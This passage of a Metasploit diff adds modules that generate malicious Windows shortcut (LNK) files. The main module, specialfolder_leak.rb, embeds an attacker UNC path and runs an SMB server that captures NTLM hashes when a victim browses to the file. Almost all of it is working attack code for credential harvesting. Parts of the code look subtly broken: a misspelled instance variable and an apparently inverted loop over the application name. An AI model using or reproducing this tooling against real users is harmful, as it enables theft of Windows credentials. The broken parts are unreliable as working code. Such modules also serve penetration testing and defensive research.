HotKey + header += "\x00\x00".b + + # Reserved fields + header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b + + # Add the header to our binary data + data += header + + # NAME field (description in Unicode) + description = @resolved_description.to_s + description_utf16 = description.encode('UTF-16LE').b + data += [description_utf16.bytesize / 2].pack('v') + data += description_utf16 + + # ARGUMENTS field (command line arguments in Unicode) + padding_size = datastore['PADDING_SIZE'] + cmd_args = ' ' * padding_size + cmd_args_utf16 = cmd_args.encode('UTF-16LE').b + data += [cmd_args_utf16.bytesize / 2].pack('v') + data += cmd_args_utf16 + + # ICON LOCATION field (icon path in Unicode) + icon_path = @resolved_icon_path.to_s + icon_path_utf16 = icon_path.encode('UTF-16LE').b + data += [icon_path_utf16.bytesize / 2].pack('v') + data += icon_path_utf16 + + # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE + env_block_size = 0x00000314 # Total size of this block + env_block_sig = 0xA0000007 # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE + + data += [env_block_size].pack('V') + data += [env_block_sig].pack('V') + + # Target field in ANSI (260 bytes) + unc_path = @resovled_unc_path.to_s + + # Create fixed-size ANSI buffer with nulls + ansi_buffer = "\x00".b * 260 + + # Copy the UNC path bytes into the buffer + unc_path.bytes.each_with_index do |byte, i| + ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize + end + + data += ansi_buffer + + # Target field in Unicode (520 bytes) + unc_path_utf16 = unc_path.encode('UTF-16LE').b + + # Create fixed-size Unicode buffer with nulls + unicode_buffer = "\x00".b * 520 + + # Copy the UTF-16LE encoded UNC path bytes into the buffer + unc_path_utf16.bytes.each_with_index do |byte, i| + unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize + end + + data += unicode_buffer + + data += "\x00\x00\x00\x00".b + + data + end + + def start_smb_capture_server + self.share_name = random_share_name + self.smb_srvhost = datastore['SRVHOST'] + self.smb_srvport = datastore['SRVPORT'] + self.capture_hashes = true + start_service + end + + def random_share_name + "share#{Rex::Text.rand_text_alphanumeric(6)}" + end + + def validate_or_fail_unc!(path) + unless path.match(/^\\\\[^\\]+\\[^\\]+$/) + fail_with(Failure::BadConfig, 'UNC_PATH format invalid, expected \\\\server\\share') + end + end +end diff --git a/modules/auxiliary/fileformat/specialfolder_leak.rb b/modules/auxiliary/fileformat/specialfolder_leak.rb new file mode 100644 index 0000000000000..1734ef82c5168 --- /dev/null +++ b/modules/auxiliary/fileformat/specialfolder_leak.rb @@ -0,0 +1,191 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ + This module creates a malicious Windows shortcut (LNK) file that + specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used + to harvest NTLM authentication credentials. + + When a victim browse to the location of the LNK file, it will attempt to + connect to the the specified UNC path, resulting in an SMB connection that + can be captured to harvest credentials. + }, + 'Author' => [ 'Nafiez' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ + 'URL', 'https://zeifan.my/Right-Click-LNK/', + 'EDB', '42382', + 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb' + ] + ], + 'Platform' => 'win', + 'Targets' => [ [ 'Windows Universal', {} ] ], + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + }, + 'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-10 + ) + ) + + register_options([ + OptString.new('FILENAME', [ true, 'The LNK file name', 'msf.lnk']), + OptString.new('UNCPATH', [ false, 'UNC path that will be accessed (\\\\server\\share)', nil]), + OptString.new('APPNAME', [ false, 'Name of the application to display', nil]) + ]) + deregister_options('SRVHOST', 'SRVPORT') + register_advanced_options([ + OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on', '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, 'The local port to listen on', 445 ]) + ]) + end + + def generate_shell_link_header + header = '' + header << [0x4C].pack('L') # HeaderSize (4 bytes) + header << [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') # LinkCLSID (16 bytes) + header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode + header << [0x00].pack('L') # FileAttributes (4 bytes) + header << [0x00].pack('Q') # CreationTime (8 bytes) + header << [0x00].pack('Q') # AccessTime (8 bytes) + header << [0x00].pack('Q') # WriteTime (8 bytes) + header << [0x00].pack('L') # FileSize (4 bytes) + header << [0x00].pack('L') # IconIndex (4 bytes) + header << [0x00].pack('L') # ShowCommand (4 bytes) + header << [0x00].pack('S') # HotKey (2 bytes) + header << [0x00].pack('S') # Reserved1 (2 bytes) + header << [0x00].pack('L') # Reserved2 (4 bytes) + header << [0x00].pack('L') # Reserved3 (4 bytes) + + header + end + + def generate_item_id(data) + [data.length + 2].pack('S') + data + end + + def generate_lnk_special(path, name) + # Force encoding to ASCII-8BIT (binary) to avoid encoding issues + path = path.dup.force_encoding('ASCII-8BIT') + name = name.dup.force_encoding('ASCII-8BIT') + + # Add null terminator + path += "\x00".force_encoding('ASCII-8BIT') + name += "\x00".force_encoding('ASCII-8BIT') + + # Convert to UTF-16LE manually + path_utf16 = path.encode('UTF-16LE').force_encoding('ASCII-8BIT') + name_utf16 = name.encode('UTF-16LE').force_encoding('ASCII-8BIT') + + # Remove BOM (first 2 bytes) if present + path_utf16 = path_utf16[2..] if path_utf16.start_with?("\xFF\xFE") + name_utf16 = name_utf16[2..] if name_utf16.start_with?("\xFF\xFE") + + bin_data = ''.force_encoding('ASCII-8BIT') + bin_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00".force_encoding('ASCII-8BIT') + bin_data << [path.length].pack('S') + bin_data << [name.length].pack('S') + bin_data << path_utf16 + bin_data << name_utf16 + bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment + + bin_data + end + + def generate_linktarget_idlist(path, name) + idlist = ''.force_encoding('ASCII-8BIT') + + # Reference - https://www.tenforums.com/tutorials/3123-clsid-key-guid-shortcuts-list-windows-10-a.html + + # First ItemID - My Computer / This PC + # {20D04FE0-3AEA-1069-A2D8-08002B30309D} + field_size_id1 = "\x1f\x50" + first_id = "\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') + idlist << generate_item_id(field_size_id1 + first_id) + + # Second ItemID - Control Panel (All Tasks) + # {ED7BA470-8E54-465E-825C-99712043E01C} + field_size_id2 = "\x2e\x80" + second_id = "\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d".force_encoding('ASCII-8BIT') + idlist << generate_item_id(field_size_id2 + second_id) + + # Custom ItemID - Our UNC path + idlist << generate_item_id(generate_lnk_special(path, name)) + + # TerminalID + idlist << "\x00\x00".force_encoding('ASCII-8BIT') + + # Full IDList with size + [idlist.length].pack('S') + idlist + end + + def generate_extra_data + extra = ''.force_encoding('ASCII-8BIT') + extra << [0x10].pack('L') # BlockSize (4 bytes) + extra << [0xA0000005].pack('L') # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes) + extra << [0x24].pack('L') # SpecialFolderID (4 bytes) - Control Panel + extra << [0x28].pack('L') # Offset (4 bytes) + extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes) + + extra + end + + def ms_shllink(path, name) + lnk_data = ''.force_encoding('ASCII-8BIT') + lnk_data << generate_shell_link_header + lnk_data << generate_linktarget_idlist(path, name) + lnk_data << generate_extra_data + + lnk_data + end + + def run + app_name = datastore['APPNAME'] + while app_name && !app_name.empty? + require 'faker' + app_name = Faker::App.name + app_name ||= 'Application' + end + + unc_path = datastore['UNCPATH'] + if unc_path.nil? || unc_path.empty? + self.share_name = random_share_name + self.smb_srvhost = datastore['SRVHOST'] + self.smb_srvport = datastore['SRVPORT'] + self.capture_hashes = true + start_service + unc_path = "\\\\#{datastore['SRVHOST']}\\#{share_name}" + else + unless unc_path.match(/^\\\\[^\\]+\\[^\\]+$/) + fail_with(Failure::BadConfig, 'UNCPATH format invalid, expected \\\\server\\share') + end + end + + lnk_data = ms_shllink(unc_path, app_name) + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + end + + def random_share_name + "share#{Rex::Text.rand_text_alphanumeric(6)}" + end + +end